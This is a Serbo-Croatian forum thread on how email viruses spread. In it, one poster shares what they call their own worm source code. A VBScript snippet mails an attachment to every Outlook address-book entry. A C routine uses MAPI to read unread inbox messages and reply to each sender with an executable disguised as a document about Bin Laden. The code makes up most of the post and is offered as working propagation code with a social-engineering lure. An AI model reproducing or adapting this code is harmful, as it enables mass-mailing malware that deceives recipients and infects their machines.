Ehh sumljam da ce ti koji pisu viruse da ti ostave POPUP hehe... zar nije najlakse ignorisati takve kontakte bez mail adresa i kraj price ?

Hmmm nisi me razumeo....

Probaj ovo, probaj da posaljes email na 2 adrese, prvo jednu fake, znaci samo !0000 i onda jednu pravu iz adresara. Ako korisitis Outlook dobices popup da ne moze da pronadje prvog korisnika, i email nece biti poslat.

E sve je to super.
samo mail virusi koriste svoj mali soft za slanje poruka a ne windows odnosno OE api funkcije ;) tako da nema oE nista ;)

Pa mora valjda negde da nadje adrese na koje ce da poslje??? znaci cita iz outlook-a.

Znao sam da sam moram odgovoriti na ovu svu raspravu! ccccc

opet moji izvorni kodovi sve objasnjavaju:
---------------------------------------------------------------------------------------------
direktno slanje preko outlooka:
---------------------------------------
dim a23:set a23 = CreateObject("OUTLOOK.APPLICATION"): With a23.GetNamespace("MAPI"): .Logon "profile", "password"
for t = 1 to .CurrentUser.Session.AddressLists.Count
for r = 1 to .CurrentUser.Session.AddressLists.(t).AddressEntries.Count
set h = .CurrentUser.Session.AddressLists(t).AddressEntries(r):With a23.CreateItem(rnd*0)
.Recipients.Add h:.Subject = "hi":.Body = "Hello":.Attachments.Add "C:autoexec.bat":.Send
h = "":End With:End With
---------------------------------------------------
e sad ide nesto bolje: (opet moj source)
---------------------------------------------------
login=GetProcAddress(hndMejl, "MAPILogon");
LoginOff=GetProcAddress(hndMejl, "MAPILogoff");
mNext=GetProcAddress(hndMejl, "MAPIFindNext");
mRead=GetProcAddress(hndMejl, "MAPIReadMail");
mSend=GetProcAddress(hndMejl, "MAPISendMail");
mFree=GetProcAddress(hndMejl, "MAPIFreeBuffer");


login(NULL,NULL,NULL,MAPI_NEW_SESSION,NULL,&sesija); // logujemo se...
if(mNext(sesija,0,NULL,NULL,MAPI_UNREAD_ONLY,
NULL,mID)==SUCCESS_SUCCESS) // nadjemo prvu neprocitanu poruku....
{
do {
if(mRead(sesija,NULL,mID,MAPI_SUPPRESS_ATTACH |
MAPI_PEEK,NULL,&m)==SUCCESS_SUCCESS) // procitamo je....
SetThreadPriority(NULL,THREAD_PRIORITY_HIGHEST); // prioritetnost procesa je na nivou ;)
{
strcpy(adresa,m->lpOriginator->lpszAddress);
m->ulReserved=0;
m->lpszSubject="Bin Ladenov zivot";
m->lpszNoteText="Ako jos do sada niste znali ko je Bin Laden ondan"
"vjerovatno cete naci ovaj dokument interesantnimn"
"u kojem je prikazano nekoliko vaznih momenata un"
"u njegovom zivotu, cak dok je jos radio pri CIA!";
m->lpszMessageType=NULL;
m->lpszDateReceived=NULL;
m->lpszConversationID=NULL;
m->flFlags=MAPI_UNREAD;
m->lpOriginator->ulReserved=0;
m->lpOriginator->ulRecipClass=MAPI_ORIG;
m->lpOriginator->lpszName=m->lpRecips->lpszName;
m->lpOriginator->lpszAddress=m->lpRecips->lpszAddress;
m->nRecipCount=1;
m->lpRecips->ulReserved=0;
m->lpRecips->ulRecipClass=MAPI_TO;
m->lpRecips->lpszName=m->lpOriginator->lpszName;
m->lpRecips->lpszAddress=adresa;
m->nFileCount=1;
m->lpFiles=(MapiFileDesc *)malloc(sizeof(MapiFileDesc));
memset(m->lpFiles, 0, sizeof(MapiFileDesc));
m->lpFiles->ulReserved=0;
m->lpFiles->flFlags=NULL;
m->lpFiles->nPosition=-1;
m->lpFiles->lpszPathName=vIme;
m->lpFiles->lpszFileName="Bin Ladenov zivot .exe"; // kud ce extenzija, Boze dragi?
m->lpFiles->lpFileType=NULL;
mSend(sesija, NULL, m, NULL, NULL); // onda napravimo poruku i posaljemo je...
}
}while(mNext(sesija,0,NULL,mID,MAPI_UNREAD_ONLY,
NULL,mID)==SUCCESS_SUCCESS); // radi ovako sve dok neprocitanih poruka u INBOXu
-------------------------------------------------------------------------------
e... ovdje se logujemo na default email client...(OE,O)...te onda neprocitane poruke procitamo i sastavimo od njih poruku te je posaljemo ali naravno sa attachom...;)
ima toga jos ali samo eto toliko....pa se see ya ....